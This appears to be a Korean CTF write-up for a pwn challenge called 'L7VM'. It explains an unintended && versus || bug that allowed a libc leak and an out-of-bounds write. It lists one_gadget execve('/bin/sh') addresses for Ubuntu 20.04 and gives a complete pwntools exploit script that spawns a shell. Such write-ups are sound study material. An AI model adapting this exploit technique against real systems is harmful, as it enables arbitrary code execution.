되게 재밌게 본 문제다.
일단 리버싱은 풀었는데 리버싱 기반으로 취약점 하나하나 분석해나가는데 버퍼오버플로우는 찾았는데 Leak부분을 못찾아서 매우 골머리를 앓고 있었다.
그러던 와중에 대회가 끝나버리고 mov 쪽에서 언인텐이 터진다는걸 알았다 ㅋㅋ..
그래서 바로 그 부분 확인하고 Leak 한다음에 원가젯으로 풀었다.
문제가 되는 코드이다
|| 연산을 해줘야 되는데 && 연산을 하고 있다. 내가 이걸 왜 대회중에 눈치를 못챘을까...
그래서 이거로 7058에 Leak 포인터 넣고
write로 leak 한다음에
여기서 OOB터지는데 이걸로 원가젯을 날려줬다.
0xe6aee execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL
0xe6af1 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL
0xe6af4 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
0xe6ce3 execve("/bin/sh", r10, r12) constraints: [r10] == NULL || r10 == NULL [r12] == NULL || r12 == NULL
0xe6ce6 execve("/bin/sh", r10, rdx) constraints: [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL
0xe6aee execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL
0xe6af1 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL
0xe6af4 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
0xe6ce3 execve("/bin/sh", r10, r12) constraints: [r10] == NULL || r10 == NULL [r12] == NULL || r12 == NULL
0xe6ce6 execve("/bin/sh", r10, rdx) constraints: [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL
20.04는 이 조건이다
이것만 잘 기억하면 된다.
#!/usr/bin/env python
from pwn import *
p = process("./L7VM")
p.sendlineafter("# Input mode : ", str(1))
context.log_level = "DEBUG"
#pause()
payload = "\x11\x7D"
payload += "\x29\x02"
payload += "\x21\x01\x7B\x01\x02\x07\x00"
payload += "\x21"
payload += "\x00"
payload += "\x7A"
payload += "\x00"
payload += "\xf1"
payload += "\x15"
payload += "\x00"
p.sendafter("# Input your VM code : ", payload)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
success(hex(leak))
base = leak - 0x235190
success(hex(base))
one = base + 0xe6ce3
payload = "\x00"
payload += p64(one)
p.sendline(payload)
p.interactive()